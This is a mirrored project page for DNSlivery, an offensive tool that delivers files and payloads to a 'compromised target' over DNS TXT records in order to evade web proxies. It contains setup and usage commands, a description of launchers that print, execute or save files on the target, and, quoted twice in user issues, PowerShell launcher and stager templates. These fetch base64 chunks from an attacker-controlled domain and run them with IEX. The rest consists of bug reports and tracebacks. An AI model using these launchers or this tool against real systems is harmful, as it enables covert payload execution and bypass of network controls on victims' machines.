Giter Club home page Giter Club logo

dnslivery's Introduction

python-3.7 Known Vulnerabilities

DNSlivery

Easy files and payloads delivery over DNS.

Acknowledgments

This project has been originally inspired by PowerDNS and Joff Thyer's technical segment on the Paul's Security Weekly podcast #590 (youtu.be/CP6cIwFJswQ).

Description

TL;DR

DNSlivery allows to deliver files to a target using DNS as the transport protocol.

Features:

  • allows to print, execute or save files to the target
  • does not require any client on the target
  • does not require a full-fledged DNS server

demo-target.git

What problem are you trying to solve?

Easily deliver files and/or payloads to a compromised target where classic web delivery is not possible and without the need for a dedicated client software. This applies to restricted environments where outgoing web traffic is forbidden or simply inspected by a curious web proxy.

web-delivery-blocked.png

Even though more complete DNS tunneling tools already exist (s.a. dnscat2 and iodine), they all require to run a dedicated client on the target. The problem is that there is probably no other way then DNS to deliver the client in such restricted environments. In other words, building a DNS communication channel with these tools require to already have a DNS communication channel.

In comparison, DNSlivery only provides one-way communication from your server to the target but does not require any dedicated client to do so. Thus, if you need to build a reliable two-way communication channel over DNS, use DNSlivery to deliver the client of a more advanced DNS tunneling tool to your target.

How does it work?

Just like most DNS tunneling tools, DNSlivery uses TXT records to store the content of files in their base64 representation. However, it does not require to setup a full-fledged DNS server to work. Instead, it uses the scapy library to listen for incoming DNS packets and craft the desired response.

network-process.png

As most files do not fit in a single TXT record, DNSlivery will create multiple ordered records containing base64 chunks of the file. As an example, the above diagram illustrates the delivery of the 42nd chunk of the file named file.

In order to retrieve all base64 chunks and put them back together without the need for a dedicated client on the target, DNSlivery will generate for every file:

  • a simple cleartext launcher
  • a reliable base64 encoded stager

two-stages-delivery.png

This two-stages delivery process is required to add features to the stager (s.a. handling lost DNS responses) that would otherwise not fit in a single TXT record.

Note on target compatibility

Currently, only PowerShell targets are supported. However, DNSlivery could be improved to support additional targets such as bash or python. Please let me know @no0be if this is a feature that you would like to see being implemented.

Requirements

DNSlivery does not require to build a complex server infrastructure. In fact, there are only two simple requirements:

  • be able to create a NS record in your public DNS zone
  • have a Linux server capable of receiving udp/53 traffic from the Internet

Setup

DNS Zone

The first step is to delegate a sub-domain to the server that will run DNSlivery by creating a new NS record in your domain. As an example, I created the following record to delegate the sub-domain dnsd.no0.be to the server at vps.no0.be.

dnsd    IN  NS vps.no0.be.

If your zone is managed by a third-party provider, refer to their documentation to create the NS record.

DNSlivery

The only requirements to run DNSlivery are python3 and its scapy library.

git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt

Usage

Server

DNSlivery will serve all files of a given directory (pwd by default) and needs to be run with root privileges to listen for incoming udp/53 packets.

usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver

DNSlivery - Easy files and payloads delivery over DNS

positional arguments:
  interface             interface to listen to DNS traffic
  domain                FQDN name of the DNS zone
  nameserver            FQDN name of the server running DNSlivery

optional arguments:
  -h, --help            show this help message and exit
  -p PATH, --path PATH  path of directory to serve over DNS (default: pwd)
  -s SIZE, --size SIZE  size in bytes of base64 chunks (default: 255)
  -v, --verbose         increase verbosity

Example:

$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery

DNSlivery - Easy files and payloads delivery over DNS

[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...

Note on filename normalization

As the charset allowed for domain names is much more restrictive than for UNIX filenames (per RFC1035), DNSlivery will perform normalization when required.

Example:

[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)

Be aware that the current normalization code is not perfect as it does not take overlapping filenames or size limit into account.

Target

On the target, start by retrieving the launcher of the desired file by requesting its dedicated TXT record. The following three launchers are supported:

Action Launcher Description
Print [filename].print.[domain] (Default) Print the delivered file to the console
Execute [filename].exec.[domain] Execute the delivered file (useful for scripts)
Save [filename].save.[domain] Save the delivered file to disk (useful for binaries)
nslookup -type=txt [filename].[stager].[domain]

Then, simply copy and paste the launcher quoted in the DNS response to a PowerShell console to retrieve the file on the target.

Example:

demo-target.git

dnslivery's People

Contributors

chervaliery avatar no0be avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

dnslivery's Issues

what dose code between 132-138 means?

 launcher_template = 'IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((1..%d|%%{Resolve-DnsName -ty TXT -na "%s.%s.$_.%s"|Where-Object Section -eq Answer|Select -Exp Strings}))))'

    stager_templates = {
        'print': '[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((1..%d|%%{do{$error.clear();Write-Host "[*] Resolving chunk $_/%d";Resolve-DnsName -ty TXT -na "%s.$_.%s"|Where-Object Section -eq Answer|Select -Exp Strings}until($error.count-eq0)})))',
        'exec': 'IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((1..%d|%%{do{$error.clear();Write-Host "[*] Resolving chunk $_/%d";Resolve-DnsName -ty TXT -na "%s.$_.%s"|Where-Object Section -eq Answer|Select -Exp Strings}until($error.count-eq0)}))))',
        'save': '[IO.File]::WriteAllBytes("$(Get-Location)\%s",[System.Convert]::FromBase64String((1..%d|%%{do{$error.clear();Write-Host "[*] Resolving chunk $_/%d";Resolve-DnsName -ty TXT -na "%s.$_.%s"|Where-Object Section -eq Answer|Select -Exp Strings}until($error.count-eq0)})))',
    }

I am poor at English, C# , powershell.
I tried to search on google, but i even don't know which keywords to use. Could you please tell me is "[System.Text.Encoding]" C# or powershell syntax, and what does it mean...

thanks you very much.

Error Loading

Getting this on launch:
$ sudo python dnslivery.py eth0 -p /tmp/dns-delivery/ -v myevildomain.com ns1.myevildomain.com

DNSlivery - Easy files and payloads delivery over DNS

Traceback (most recent call last):
File "dnslivery.py", line 153, in
if not args.size.isdecimal():
AttributeError: 'str' object has no attribute 'isdecimal'

If I delete all files in /tmp/dns-delivery/ directory, it will launch but obviously not do anything as there's nothing to serve. Is there a format/syntax that the files need to be, as it looks like python is processing them on load and breaks them down into a Base64 chunks. For some reason even a simplest "Hello World" text document prevents it from launching for me.
Thanks!

代码132-138请问是什么意思啊

    launcher_template = 'IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((1..%d|%%{Resolve-DnsName -ty TXT -na "%s.%s.$_.%s"|Where-Object Section -eq Answer|Select -Exp Strings}))))'

    stager_templates = {
        'print': '[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((1..%d|%%{do{$error.clear();Write-Host "[*] Resolving chunk $_/%d";Resolve-DnsName -ty TXT -na "%s.$_.%s"|Where-Object Section -eq Answer|Select -Exp Strings}until($error.count-eq0)})))',
        'exec': 'IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((1..%d|%%{do{$error.clear();Write-Host "[*] Resolving chunk $_/%d";Resolve-DnsName -ty TXT -na "%s.$_.%s"|Where-Object Section -eq Answer|Select -Exp Strings}until($error.count-eq0)}))))',
        'save': '[IO.File]::WriteAllBytes("$(Get-Location)\%s",[System.Convert]::FromBase64String((1..%d|%%{do{$error.clear();Write-Host "[*] Resolving chunk $_/%d";Resolve-DnsName -ty TXT -na "%s.$_.%s"|Where-Object Section -eq Answer|Select -Exp Strings}until($error.count-eq0)})))',
    }

大佬这几行是什么语言能说下吗,我查什么关键字.... 英语比较差,那个youtube的视频看不懂....

centos7: dnslivery doesn't listen on UDP port 53

run:

[root@hella DNSlivery]# ./dnslivery.py venet0:0 poc.mydomain.club dnslivery.mydomain.club --verbose -p temp/

DNSlivery - Easy files and payloads delivery over DNS

[*] File "blah.txt" ready for delivery at blah-txt.poc.mydomain.club (1 chunks)
[*] Listening for DNS queries...

netstat:

[root@hella ~]# netstat -anu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
udp        0      0 0.0.0.0:111             0.0.0.0:*  

I'm a scapy newb so I'm not totally familiar, but I'd assume some process needs to bind a UDP socket to listen on for sniff() to do anything, correct?

win7 or win2008 can't work

It errors in win7 or win2008.
无法将“Resolve-DnsName”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请
检查名称的拼写,如果包括路径,请确保路径正确,然后重试。
https://xbuba.com/questions/51423281
Please, is there any resolution?

error msg

➜  DNSlivery git:(master) ✗ python3.6 dnslivery.py eth0 dnsd.fuy.com vps.fuy.com

DNSlivery - Easy files and payloads delivery over DNS

[*] File "nidaye" ready for delivery at nidaye.dnsd.fuy.com (1 chunks)
[*] File "requirements.txt" ready for delivery at requirements-txt.dnsd.fuy.com (1 chunks)
[*] File "dnslivery.py" ready for delivery at dnslivery-py.dnsd.fuy.com (46 chunks)
[*] File "LICENSE" ready for delivery at license.dnsd.fuy.com (6 chunks)
[*] File "README.md" ready for delivery at readme-md.dnsd.fuy.com (38 chunks)
[*] File ".gitignore" ready for delivery at -gitignore.dnsd.fuy.com (1 chunks)
[*] Listening for DNS queries...

match existing file!
[+] Delivering nidaye print launcher to 58.217.249.133
Traceback (most recent call last):
  File "/usr/local/lib/python3.6/site-packages/scapy/compat.py", line 117, in raw
    return bytes(x)
  File "/usr/local/lib/python3.6/site-packages/scapy/packet.py", line 441, in __bytes__
    return self.build()
  File "/usr/local/lib/python3.6/site-packages/scapy/packet.py", line 556, in build
    p = self.do_build()
  File "/usr/local/lib/python3.6/site-packages/scapy/packet.py", line 538, in do_build
    pkt = self.self_build()
  File "/usr/local/lib/python3.6/site-packages/scapy/packet.py", line 519, in self_build
    p = f.addfield(self, p, val)
  File "/usr/local/lib/python3.6/site-packages/scapy/fields.py", line 134, in addfield
    return s + struct.pack(self.fmt, self.i2m(pkt, val))
  File "/usr/local/lib/python3.6/site-packages/scapy/layers/dns.py", line 371, in i2m
    x = len(rdataf.i2m(pkt, pkt.rdata))
  File "/usr/local/lib/python3.6/site-packages/scapy/layers/dns.py", line 351, in i2m
    while len(text) >= 255:
TypeError: object of type 'int' has no len()

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.6/site-packages/scapy/compat.py", line 117, in raw
    return bytes(x)
  File "/usr/local/lib/python3.6/site-packages/scapy/packet.py", line 441, in __bytes__
    return self.build()
  File "/usr/local/lib/python3.6/site-packages/scapy/packet.py", line 556, in build
    p = self.do_build()
  File "/usr/local/lib/python3.6/site-packages/scapy/packet.py", line 541, in do_build
    pay = self.do_build_payload()
  File "/usr/local/lib/python3.6/site-packages/scapy/packet.py", line 528, in do_build_payload
    return self.payload.do_build()
  File "/usr/local/lib/python3.6/site-packages/scapy/packet.py", line 541, in do_build
    pay = self.do_build_payload()
  File "/usr/local/lib/python3.6/site-packages/scapy/packet.py", line 528, in do_build_payload
    return self.payload.do_build()
  File "/usr/local/lib/python3.6/site-packages/scapy/packet.py", line 541, in do_build
    pay = self.do_build_payload()
  File "/usr/local/lib/python3.6/site-packages/scapy/packet.py", line 528, in do_build_payload
    return self.payload.do_build()
  File "/usr/local/lib/python3.6/site-packages/scapy/packet.py", line 538, in do_build
    pkt = self.self_build()
  File "/usr/local/lib/python3.6/site-packages/scapy/packet.py", line 519, in self_build
    p = f.addfield(self, p, val)
  File "/usr/local/lib/python3.6/site-packages/scapy/fields.py", line 905, in addfield
    return s + self.i2m(pkt, val)
  File "/usr/local/lib/python3.6/site-packages/scapy/layers/dns.py", line 255, in i2m
    return raw(x)
  File "/usr/local/lib/python3.6/site-packages/scapy/compat.py", line 119, in raw
    return bytes(x, encoding="utf8")
TypeError: encoding without a string argument

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "dnslivery.py", line 184, in <module>
    while True: dns_listener = sniff(filter='udp dst port 53', iface=args.interface, prn=dns_handler)
  File "/usr/local/lib/python3.6/site-packages/scapy/sendrecv.py", line 886, in sniff
    r = prn(p)
  File "dnslivery.py", line 97, in dns_handler
    send(response_pkt, verbose=0, iface=args.interface)
  File "/usr/local/lib/python3.6/site-packages/scapy/sendrecv.py", line 314, in send
    realtime=realtime, return_packets=return_packets)
  File "/usr/local/lib/python3.6/site-packages/scapy/sendrecv.py", line 287, in __gen_send
    s.send(p)
  File "/usr/local/lib/python3.6/site-packages/scapy/arch/linux.py", line 533, in send
    sx = raw(ll(x))
  File "/usr/local/lib/python3.6/site-packages/scapy/compat.py", line 119, in raw
    return bytes(x, encoding="utf8")
TypeError: encoding without a string argument

file content:

➜  DNSlivery git:(master) ✗ cat nidaye 
zheshizenmehuishi?

Recommand to Listen on UDP port 53

...
# listen for DNS query
    log('Listening for DNS queries...')
    udpserver = socket. socket(socket.AF_INET, socket.SOCK_DGRAM)  
    udpserver.bind(('0.0.0.0',53)) #listen to 53 port

    while True: dns_listener = sniff(filter='udp dst port 53', iface=args.interface, prn=dns_handler)

Recommand to add two line in the code to listen to udp port 53 .Because if we don't listen 53 port ,the kernel will always reply a "Destination Unreachable" packet to the client which will cause data transfering not stable.
icmp

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.